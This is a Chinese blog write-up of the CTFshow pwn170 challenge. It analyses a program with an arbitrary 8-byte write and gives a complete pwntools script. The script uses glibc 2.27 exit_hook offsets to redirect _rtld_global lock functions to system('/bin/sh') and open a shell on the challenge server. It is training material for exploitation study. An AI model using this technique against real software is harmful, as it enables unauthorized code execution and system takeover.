CTFshow-pwn170

[!NOTE]

非常简单

  • 远程环境:Ubuntu 18.04

libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1

检查一下程序的保护机制

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn170
[*] '/home/niuyingying/ctf/pwn/pwn170'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled

分析程序主要流程

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // [rsp+8h] [rbp-18h] BYREF
  _QWORD *v4; // [rsp+10h] [rbp-10h] BYREF
  char s[2]; // [rsp+1Eh] [rbp-2h] BYREF

  ((void (__fastcall *)(__int64, char **, char **))sub_83A)(a1, a2, a3);
  sub_87D();
  printf("puts: %p\n", &puts);
  printf("stack: %p\n", &v3);
  while ( 1 )
  {
    puts("===Menu===");
    puts("(w)rite");
    puts("(q)uit");
    fgets(s, 2, stdin);
    if ( s[0] == 'q' )
      break;
    if ( s[0] == 'w' )
    {
      printf("ptr: ");
      __isoc99_scanf("%lu", &v4);
      printf("val: ");
      __isoc99_scanf("%lu", &v3);
      *v4 = v3;
    }
  }
  exit(0);
}

可以看到程序在输入 w 时可以任意地址写 8 字节,输入 q 会执行 exit(0)

那么这道题我们需要了解一下 exit_hook 攻击技术,可参考:exit_hook攻击利用-先知社区

pwn题堆利用的一些姿势 -- exit_hook_pwn exit hook-CSDN博客

总结一下 libc-2.23.so 和 libc-2.27.so 中 exit_hook 函数的偏移

# libc-2.23
rtld_global = libc_base + 0x5f0040

dl_load_lock = rtld_global + 0x908
lock_recursive = rtld_global + 0xf08
unlock_recursive = rtld_global + 0xf10


# libc-2.27
rtld_global = libc_base + 0x619060

dl_load_lock = rtld_global + 0x908
lock_recursive = rtld_global + 0xf00
unlock_recursive = rtld_global + 0xf08

攻击脚本如下:

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn170')
libc = ELF('./libc-2.27.so')
ld = ELF('/home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so')

# io = process('./pwn170')
io = remote("pwn.challenge.ctf.show",28162)

# io = gdb.debug('./pwn170', gdbscript='set pagination off\nbreakrva 0x9A6\nc')

io.recvuntil(b"0x")
leak = int(io.recvuntil(b"\n", drop=True), 16)
print(hex(leak))

libc_base = leak - libc.sym['puts']
print(hex(libc_base))

one_gadget = libc_base + 0x4f322
system = libc_base + libc.sym['system']

# ld_base = libc_base + 0x400000
# _rtld_global = ld_base + ld.sym['_rtld_global']
_rtld_global = libc_base + 0x619060
_dl_rtld_lock_recursive = _rtld_global + 0xf00
_dl_rtld_unlock_recursive = _rtld_global + 0xf08
_dl_load_lock = _rtld_global + 0x908

# io.recvuntil(b"(q)uit\n")
# io.sendline(b"w")
# io.recvuntil(b"ptr: ")
# io.sendline(str(_dl_rtld_unlock_recursive).encode())
# io.recvuntil(b"val: ")
# io.sendline(str(one_gadget).encode())

io.recvuntil(b"(q)uit\n")
io.sendline(b"w")
io.recvuntil(b"ptr: ")
io.sendline(str(_dl_rtld_lock_recursive).encode())
io.recvuntil(b"val: ")
io.sendline(str(system).encode())

io.recvuntil(b"(q)uit\n")
io.sendline(b"w")
io.recvuntil(b"ptr: ")
io.sendline(str(_dl_load_lock).encode())
io.recvuntil(b"val: ")
io.sendline(str(u64(b"/bin/sh\x00")).encode())

io.recvuntil(b"(q)uit\n")
io.sendline(b"q")

io.interactive()

上面包含了两种打法,这道题我最开始 /bin/sh\x00 字符串没有包裹 u64 导致一直没有打通,所以多说一嘴

这题 main 里是:

scanf("%lu", &ptr);
scanf("%lu", &val);
*ptr = val;

也就是说程序需要输入的是十进制整数文本

所以如果想把内存写成 /bin/sh\x00 ,不能直接 io.sendline(b"/bin/sh\x00") ,因为 scanf("%lu") 看到第一个字符是 /,它不是数字,解析失败,程序就不会把这 8 个字节当作数据写进去

因此必须先把这 8 个字节按小端序解释成一个整数 u64(b"/bin/sh\x00") ,结果是 29400045130965551 ,然后发给 scanf("%lu") ,即:

io.sendline(str(u64(b"/bin/sh\x00")).encode())
posted @ 2026-08-10 16:24  AurY1n  阅读(1)  评论(0)    收藏  举报